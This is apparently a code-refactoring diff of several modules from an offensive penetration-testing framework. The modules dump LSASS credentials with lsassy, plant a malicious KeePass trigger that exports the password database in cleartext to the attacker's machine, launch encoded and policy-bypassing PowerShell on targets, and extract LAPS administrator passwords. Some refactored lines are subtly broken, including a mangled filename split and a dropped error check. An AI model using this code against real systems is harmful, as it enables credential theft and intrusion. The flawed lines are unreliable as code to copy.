||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
|
@ -173,7 +171,7 @@ class NXCModule:
|
|||
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
|
||||
# so what we do is define "success" as a logging level, then do nothing with the output
|
||||
logging.addLevelName(25, "SUCCESS")
|
||||
setattr(logging, "success", lambda message, *args: ())
|
||||
logging.success = lambda message, *args: ()
|
||||
|
||||
host = connection.host
|
||||
domain_name = connection.domain
|
||||
|
@ -198,7 +196,7 @@ class NXCModule:
|
|||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
context.log.fail("Unable to load dump method '{}'".format(self.method))
|
||||
context.log.fail(f"Unable to load dump method '{self.method}'")
|
||||
return False
|
||||
file = dumper.dump()
|
||||
if file is None:
|
||||
|
@ -247,10 +245,10 @@ class NXCModule:
|
|||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
connection.domain = user[0].split("@")[1]
|
||||
setattr(connection, "host", pc[0].split(".")[0])
|
||||
setattr(connection, "username", user[0].split("@")[0])
|
||||
setattr(connection, "nthash", user[1])
|
||||
setattr(connection, "nthash", user[1])
|
||||
connection.host = pc[0].split(".")[0]
|
||||
connection.username = user[0].split("@")[0]
|
||||
connection.nthash = user[1]
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
|
@ -302,7 +300,7 @@ class NXCModule:
|
|||
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
|
||||
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
|
||||
neo4j_conn(context, connection, driver)
|
||||
neo4j_local_admins(context, driver)
|
||||
admin_results = neo4j_local_admins(context, driver)
|
||||
create_db(admin_results, dbconnection, cursor)
|
||||
initial_run(connection, cursor)
|
||||
context.log.display("Running lsassy")
|
||||
|
|
File diff suppressed because one or more lines are too long
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.dcerpc.v5 import scmr
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
|
|
|
@ -20,7 +20,7 @@ class NXCModule:
|
|||
self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
SEARCH_TYPE Specify what to search, between:
|
||||
PROCESS Look for running KeePass.exe process only
|
||||
FILES Look for KeePass-related files (KeePass.config.xml, .kdbx, KeePass.exe) only, may take some time
|
||||
|
@ -29,7 +29,6 @@ class NXCModule:
|
|||
SEARCH_PATH Comma-separated remote locations where to search for KeePass-related files (you must add single quotes around the paths if they include spaces)
|
||||
Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'
|
||||
"""
|
||||
|
||||
if "SEARCH_PATH" in module_options:
|
||||
self.search_path = module_options["SEARCH_PATH"]
|
||||
|
||||
|
@ -49,20 +48,14 @@ class NXCModule:
|
|||
keepass_process_id = row[0]
|
||||
keepass_process_username = row[1]
|
||||
keepass_process_name = row[2]
|
||||
context.log.highlight(
|
||||
'Found process "{}" with PID {} (user {})'.format(
|
||||
keepass_process_name,
|
||||
keepass_process_id,
|
||||
keepass_process_username,
|
||||
)
|
||||
)
|
||||
context.log.highlight(f'Found process "{keepass_process_name}" with PID {keepass_process_id} (user {keepass_process_username})')
|
||||
if row_number == 0:
|
||||
context.log.display("No KeePass-related process was found")
|
||||
|
||||
# search for keepass-related files
|
||||
if self.search_type == "ALL" or self.search_type == "FILES":
|
||||
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
|
||||
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
|
||||
search_keepass_files_payload = f"Get-ChildItem -Path {self.search_path} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName"
|
||||
search_keepass_files_cmd = f'powershell.exe "{search_keepass_files_payload}"'
|
||||
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
|
||||
found = False
|
||||
found_xml = False
|
||||
|
@ -71,7 +64,7 @@ class NXCModule:
|
|||
if "xml" in file:
|
||||
found_xml = True
|
||||
found = True
|
||||
context.log.highlight("Found {}".format(file))
|
||||
context.log.highlight(f"Found {file}")
|
||||
if not found:
|
||||
context.log.display("No KeePass-related file were found")
|
||||
elif not found_xml:
|
||||
|
|
|
@ -46,17 +46,17 @@ class NXCModule:
|
|||
self.poll_frequency_seconds = 5
|
||||
self.dummy_service_name = "OneDrive Sync KeePass"
|
||||
|
||||
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1")) as remove_trigger_script_file:
|
||||
self.remove_trigger_script_str = remove_trigger_script_file.read()
|
||||
|
||||
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1")) as add_trigger_script_file:
|
||||
self.add_trigger_script_str = add_trigger_script_file.read()
|
||||
|
||||
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
|
||||
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1")) as restart_keepass_script_file:
|
||||
self.restart_keepass_script_str = restart_keepass_script_file.read()
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
r"""
|
||||
ACTION (mandatory) Performs one of the following actions, specified by the user:
|
||||
ADD insert a new malicious trigger into KEEPASS_CONFIG_PATH's specified file
|
||||
CHECK check if a malicious trigger is currently set in KEEPASS_CONFIG_PATH's
|
||||
|
@ -74,7 +74,7 @@ class NXCModule:
|
|||
USER Targeted user running KeePass, used to restart the appropriate process
|
||||
(used by RESTART action)
|
||||
|
||||
EXPORT_NAME Name fo the database export file, default: export.xml
|
||||
EXPORT_NAME Name of the database export file, default: export.xml
|
||||
EXPORT_PATH Path where to export the KeePass database in cleartext
|
||||
default: C:\\Users\\Public, %APPDATA% works well too for user permissions
|
||||
|
||||
|
@ -86,7 +86,6 @@ class NXCModule:
|
|||
Not all variables used by the module are available as options (ex: trigger name, temp folder path, etc.),
|
||||
but they can still be easily edited in the module __init__ code if needed
|
||||
"""
|
||||
|
||||
if "ACTION" in module_options:
|
||||
if module_options["ACTION"] not in [
|
||||
"ADD",
|
||||
|
@ -98,12 +97,12 @@ class NXCModule:
|
|||
"ALL",
|
||||
]:
|
||||
context.log.fail("Unrecognized action, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.action = module_options["ACTION"]
|
||||
else:
|
||||
context.log.fail("Missing ACTION option, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
if "KEEPASS_CONFIG_PATH" in module_options:
|
||||
self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"]
|
||||
|
@ -120,7 +119,7 @@ class NXCModule:
|
|||
if "PSH_EXEC_METHOD" in module_options:
|
||||
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
|
||||
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
|
||||
|
||||
|
@ -141,7 +140,6 @@ class NXCModule:
|
|||
|
||||
def add_trigger(self, context, connection):
|
||||
"""Add a malicious trigger to a remote KeePass config file using the powershell script AddKeePassTrigger.ps1"""
|
||||
|
||||
# check if the specified KeePass configuration file exists
|
||||
if self.trigger_added(context, connection):
|
||||
context.log.display(f"The specified configuration file {self.keepass_config_path} already contains a trigger called '{self.trigger_name}', skipping")
|
||||
|
@ -171,14 +169,13 @@ class NXCModule:
|
|||
|
||||
# checks if the malicious trigger was effectively added to the specified KeePass configuration file
|
||||
if self.trigger_added(context, connection):
|
||||
context.log.success(f"Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
|
||||
context.log.success("Malicious trigger successfully added, you can now wait for KeePass reload and poll the exported files")
|
||||
else:
|
||||
context.log.fail(f"Unknown error when adding malicious trigger to file")
|
||||
context.log.fail("Unknown error when adding malicious trigger to file")
|
||||
sys.exit(1)
|
||||
|
||||
def check_trigger_added(self, context, connection):
|
||||
"""check if the trigger is added to the config file XML tree"""
|
||||
|
||||
"""Check if the trigger is added to the config file XML tree"""
|
||||
if self.trigger_added(context, connection):
|
||||
context.log.display(f"Malicious trigger '{self.trigger_name}' found in '{self.keepass_config_path}'")
|
||||
else:
|
||||
|
@ -186,20 +183,19 @@ class NXCModule:
|
|||
|
||||
def restart(self, context, connection):
|
||||
"""Force the restart of KeePass process using a Windows service defined using the powershell script RestartKeePass.ps1
|
||||
If multiple process belonging to different users are running simultaneously,
|
||||
relies on the USER option to choose which one to restart"""
|
||||
|
||||
If multiple process belonging to different users are running simultaneously, relies on the USER option to choose which one to restart
|
||||
"""
|
||||
# search for keepass processes
|
||||
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
|
||||
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
|
||||
# we return the powershell command as a CSV for easier column parsing
|
||||
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
|
||||
next(csv_reader) # to skip the header line
|
||||
keepass_process_list = list(csv_reader)
|
||||
|
||||
# we return the powershell command as a CSV for easier column parsing, skipping the header line
|
||||
csv_reader = reader(search_keepass_process_output_csv.split("\n")[1:], delimiter=",")
|
||||
|
||||
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
|
||||
keepass_users = []
|
||||
for process in keepass_process_list:
|
||||
keepass_users.append(process[1])
|
||||
keepass_users = [process[1] for process in list(csv_reader)]
|
||||
|
||||
if len(keepass_users) == 0:
|
||||
context.log.fail("No running KeePass process found, aborting restart")
|
||||
return
|
||||
|
@ -223,7 +219,7 @@ class NXCModule:
|
|||
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
|
||||
return
|
||||
|
||||
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
|
||||
context.log.display(f"Restarting {keepass_users[0]}'s KeePass process")
|
||||
|
||||
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
|
||||
# see data/keepass_trigger_module/RestartKeePass.ps1
|
||||
|
@ -234,27 +230,28 @@ class NXCModule:
|
|||
# actually performs the restart on the remote target
|
||||
if self.powershell_exec_method == "ENCODE":
|
||||
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
|
||||
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
|
||||
restart_keepass_script_cmd = f"powershell.exe -e {restart_keepass_script_b64}"
|
||||
connection.execute(restart_keepass_script_cmd)
|
||||
elif self.powershell_exec_method == "PS1":
|
||||
try:
|
||||
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
|
||||
except Exception as e:
|
||||
context.log.fail("Error while restarting KeePass: {}".format(e))
|
||||
context.log.fail(f"Error while restarting KeePass: {e}")
|
||||
return
|
||||
|
||||
def poll(self, context, connection):
|
||||
"""Search for the cleartext database export file in the specified export folder
|
||||
(until found, or manually exited by the user)"""
|
||||
(until found, or manually exited by the user)
|
||||
"""
|
||||
found = False
|
||||
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
|
||||
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
|
||||
# if the specified path is %APPDATA%, we need to check in every user's folder
|
||||
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
|
||||
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
|
||||
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
|
||||
else:
|
||||
export_full_path = f"'{self.export_path}\\{self.export_name}'"
|
||||
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
|
||||
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
|
||||
|
||||
# we poll every X seconds until the export path is found on the remote machine
|
||||
while not found:
|
||||
|
@ -263,7 +260,7 @@ class NXCModule:
|
|||
print(".", end="", flush=True)
|
||||
sleep(self.poll_frequency_seconds)
|
||||
continue
|
||||
print("")
|
||||
print()
|
||||
|
||||
# once a database is found, downloads it to the attackers machine
|
||||
context.log.success("Found database export !")
|
||||
|
@ -274,29 +271,26 @@ class NXCModule:
|
|||
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
|
||||
|
||||
# if multiple exports found, add a number at the end of local path to prevent override
|
||||
if count > 0:
|
||||
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
|
||||
else:
|
||||
local_full_path = self.local_export_path + "/" + self.export_name
|
||||
local_full_path = f"{self.local_export_path}/{self.export_name.split('.'[0])}_{count!s}.{self.export_name.split('.'[1])}" if count > 0 else f"{self.local_export_path}/{self.export_name}"
|
||||
|
||||
# downloads the exported database
|
||||
with open(local_full_path, "wb") as f:
|
||||
f.write(buffer.getbuffer())
|
||||
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
|
||||
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
|
||||
connection.execute(remove_export_command_str, True)
|
||||
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
|
||||
context.log.success(f'Moved remote "{export_path}" to local "{local_full_path}"')
|
||||
found = True
|
||||
except Exception as e:
|
||||
context.log.fail("Error while polling export files, exiting : {}".format(e))
|
||||
context.log.fail(f"Error while polling export files, exiting : {e}")
|
||||
|
||||
def clean(self, context, connection):
|
||||
"""Checks for database export + malicious trigger on the remote host, removes everything"""
|
||||
# if the specified path is %APPDATA%, we need to check in every user's folder
|
||||
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
|
||||
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
|
||||
poll_export_command_str = f"powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{self.export_name}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\""
|
||||
else:
|
||||
export_full_path = f"'{self.export_path}\\{self.export_name}'"
|
||||
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
|
||||
poll_export_command_str = f'powershell.exe "if (Test-Path {export_full_path} -PathType leaf){{ Write-Output {export_full_path} }}"'
|
||||
poll_export_command_output = connection.execute(poll_export_command_str, True)
|
||||
|
||||
# deletes every export found on the remote machine
|
||||
|
@ -352,7 +346,7 @@ class NXCModule:
|
|||
self.extract_password(context)
|
||||
|
||||
def trigger_added(self, context, connection):
|
||||
"""check if the trigger is added to the config file XML tree (returns True/False)"""
|
||||
"""Check if the trigger is added to the config file XML tree (returns True/False)"""
|
||||
# check if the specified KeePass configuration file exists
|
||||
if not self.keepass_config_path:
|
||||
context.log.fail("No KeePass configuration file specified, exiting")
|
||||
|
@ -372,19 +366,15 @@ class NXCModule:
|
|||
sys.exit(1)
|
||||
|
||||
# check if the specified KeePass configuration file does not already contain the malicious trigger
|
||||
for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"):
|
||||
if trigger.find("Name").text == self.trigger_name:
|
||||
return True
|
||||
|
||||
return False
|
||||
return any(trigger.find("Name").text == self.trigger_name for trigger in keepass_config_xml_root.findall(".//Application/TriggerSystem/Triggers/Trigger"))
|
||||
|
||||
def put_file_execute_delete(self, context, connection, psh_script_str):
|
||||
"""Helper to upload script to a temporary folder, run then deletes it"""
|
||||
script_str_io = StringIO(psh_script_str)
|
||||
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
|
||||
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
|
||||
script_execute_cmd = f"powershell.exe -ep Bypass -F {self.remote_temp_script_path}"
|
||||
connection.execute(script_execute_cmd, True)
|
||||
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
|
||||
remove_remote_temp_script_cmd = f'powershell.exe "Remove-Item "{self.remote_temp_script_path}""'
|
||||
connection.execute(remove_remote_temp_script_cmd)
|
||||
|
||||
def extract_password(self, context):
|
||||
|
|
|
@ -1,9 +1,8 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import json
|
||||
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from nxc.protocols.ldap.laps import LDAPConnect, LAPSv2Extract
|
||||
from nxc.protocols.ldap.laps import LAPSv2Extract
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
|
@ -22,20 +21,14 @@ class NXCModule:
|
|||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
|
||||
"""
|
||||
|
||||
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
|
||||
self.computer = None
|
||||
if "COMPUTER" in module_options:
|
||||
self.computer = module_options["COMPUTER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
context.log.display("Getting LAPS Passwords")
|
||||
if self.computer is not None:
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
|
||||
else:
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
|
||||
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))" if self.computer is not None else "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
|
||||
attributes = [
|
||||
"msLAPS-EncryptedPassword",
|
||||
"msLAPS-Password",
|
||||
|
@ -52,15 +45,7 @@ class NXCModule:
|
|||
values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
|
||||
if "mslaps-encryptedpassword" in values:
|
||||
msMCSAdmPwd = values["mslaps-encryptedpassword"]
|
||||
d = LAPSv2Extract(
|
||||
bytes(msMCSAdmPwd),
|
||||
connection.username if connection.username else "",
|
||||
connection.password if connection.password else "",
|
||||
connection.domain,
|
||||
connection.nthash if connection.nthash else "",
|
||||
connection.kerberos,
|
||||
connection.kdcHost,
|
||||
339)
|
||||
d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
|
@ -78,6 +63,6 @@ class NXCModule:
|
|||
|
||||
laps_computers = sorted(laps_computers, key=lambda x: x[0])
|
||||
for sAMAccountName, user, password in laps_computers:
|
||||
context.log.highlight("Computer:{} User:{:<15} Password:{}".format(sAMAccountName, user, password))
|
||||
context.log.highlight(f"Computer:{sAMAccountName} User:{user:<15} Password:{password}")
|
||||
else:
|
||||
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import socket
|
||||
import ssl
|
||||
import asyncio
|
||||
|
@ -12,6 +10,8 @@ from asyauth.common.credentials.ntlm import NTLMCredential
|
|||
from asyauth.common.credentials.kerberos import KerberosCredential
|
||||
|
||||
from asysocks.unicomm.common.target import UniTarget, UniProto
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
|
@ -28,10 +28,7 @@ class NXCModule:
|
|||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
No options available.
|
||||
"""
|
||||
pass
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Conduct a bind to LDAPS and determine if channel
|
||||
|
@ -44,7 +41,7 @@ class NXCModule:
|
|||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
exit()
|
||||
sys.exit()
|
||||
_, err = await ldapsClientConn.bind()
|
||||
if "data 80090346" in str(err):
|
||||
return True # channel binding IS enforced
|
||||
|
@ -57,16 +54,16 @@ class NXCModule:
|
|||
|
||||
# Conduct a bind to LDAPS with channel binding supported
|
||||
# but intentionally miscalculated. In the case that and
|
||||
# LDAPS bind has without channel binding supported has occured,
|
||||
# LDAPS bind has without channel binding supported has occurred,
|
||||
# you can determine whether the policy is set to "never" or
|
||||
# if it's set to "when supported" based on the potential
|
||||
# error recieved from the bind attempt.
|
||||
# error received from the bind attempt.
|
||||
async def run_ldaps_withEPA(target, credential):
|
||||
ldapsClientConn = MSLDAPClientConnection(target, credential)
|
||||
_, err = await ldapsClientConn.connect()
|
||||
if err is not None:
|
||||
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
|
||||
exit()
|
||||
sys.exit()
|
||||
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
|
||||
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
_, err = await ldapsClientConn.bind()
|
||||
|
@ -123,15 +120,15 @@ class NXCModule:
|
|||
_, err = await ldapsClientConn.bind()
|
||||
if "stronger" in str(err):
|
||||
return True # because LDAP server signing requirements ARE enforced
|
||||
elif ("data 52e" or "data 532") in str(err):
|
||||
elif ("data 52e") in str(err):
|
||||
context.log.fail("Not connected... exiting")
|
||||
exit()
|
||||
sys.exit()
|
||||
elif err is None:
|
||||
return False
|
||||
else:
|
||||
context.log.fail(str(err))
|
||||
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
|
||||
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
|
||||
secret = connection.password if not connection.nthash else connection.nthash
|
||||
if not connection.kerberos:
|
||||
|
@ -142,15 +139,7 @@ class NXCModule:
|
|||
stype=stype,
|
||||
)
|
||||
else:
|
||||
kerberos_target = UniTarget(
|
||||
connection.hostname + '.' + connection.domain,
|
||||
88,
|
||||
UniProto.CLIENT_TCP,
|
||||
proxies=None,
|
||||
dns=None,
|
||||
dc_ip=connection.domain,
|
||||
domain=connection.domain
|
||||
)
|
||||
kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
|
||||
credential = KerberosCredential(
|
||||
target=kerberos_target,
|
||||
secret=secret,
|
||||
|
@ -162,27 +151,27 @@ class NXCModule:
|
|||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapIsProtected = asyncio.run(run_ldap(target, credential))
|
||||
|
||||
if ldapIsProtected == False:
|
||||
if ldapIsProtected is False:
|
||||
context.log.highlight("LDAP Signing NOT Enforced!")
|
||||
elif ldapIsProtected == True:
|
||||
elif ldapIsProtected is True:
|
||||
context.log.fail("LDAP Signing IS Enforced")
|
||||
else:
|
||||
context.log.fail("Connection fail, exiting now")
|
||||
exit()
|
||||
sys.exit()
|
||||
|
||||
if DoesLdapsCompleteHandshake(connection.host) == True:
|
||||
if DoesLdapsCompleteHandshake(connection.host) is True:
|
||||
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
|
||||
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
|
||||
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
|
||||
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
|
||||
if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
|
||||
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
|
||||
elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
|
||||
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
|
||||
elif ldapsChannelBindingAlwaysCheck == True:
|
||||
elif ldapsChannelBindingAlwaysCheck is True:
|
||||
context.log.fail('LDAPS Channel Binding is set to "Required"')
|
||||
else:
|
||||
context.log.fail("\nSomething went wrong...")
|
||||
exit()
|
||||
sys.exit()
|
||||
else:
|
||||
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
|
||||
|
|
|
@ -1,5 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# Author:
|
||||
# Romain Bentz (pixis - @hackanddo)
|
||||
# Website:
|
||||
|
@ -27,9 +25,7 @@ class NXCModule:
|
|||
self.method = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
"""
|
||||
"""METHOD Method to use to dump lsass.exe with lsassy"""
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
|
@ -60,7 +56,7 @@ class NXCModule:
|
|||
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
context.log.fail("Unable to load dump method '{}'".format(self.method))
|
||||
context.log.fail(f"Unable to load dump method '{self.method}'")
|
||||
return False
|
||||
|
||||
file = dumper.dump()
|
||||
|
@ -75,13 +71,13 @@ class NXCModule:
|
|||
credentials, tickets, masterkeys = parsed
|
||||
|
||||
file.close()
|
||||
context.log.debug(f"Closed dumper file")
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
context.log.debug(f"File path: {file_path}")
|
||||
try:
|
||||
deleted_file = ImpacketFile.delete(session, file_path)
|
||||
if deleted_file:
|
||||
context.log.debug(f"Deleted dumper file")
|
||||
context.log.debug("Deleted dumper file")
|
||||
else:
|
||||
context.log.fail(f"[OPSEC] No exception, but failed to delete file: {file_path}")
|
||||
except Exception as e:
|
||||
|
@ -119,7 +115,7 @@ class NXCModule:
|
|||
)
|
||||
credentials_output.append(cred)
|
||||
|
||||
context.log.debug(f"Calling process_credentials")
|
||||
context.log.debug("Calling process_credentials")
|
||||
self.process_credentials(context, connection, credentials_output)
|
||||
|
||||
def process_credentials(self, context, connection, credentials):
|
||||
|
@ -128,7 +124,7 @@ class NXCModule:
|
|||
credz_bh = []
|
||||
domain = None
|
||||
for cred in credentials:
|
||||
if cred["domain"] == None:
|
||||
if cred["domain"] is None:
|
||||
cred["domain"] = ""
|
||||
domain = cred["domain"]
|
||||
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
|
||||
|
@ -157,7 +153,7 @@ class NXCModule:
|
|||
def print_credentials(context, domain, username, password, lmhash, nthash):
|
||||
if password is None:
|
||||
password = ":".join(h for h in [lmhash, nthash] if h is not None)
|
||||
output = "%s\\%s %s" % (domain, username, password)
|
||||
output = f"{domain}\\{username} {password}"
|
||||
context.log.highlight(output)
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -1,6 +1,3 @@
|
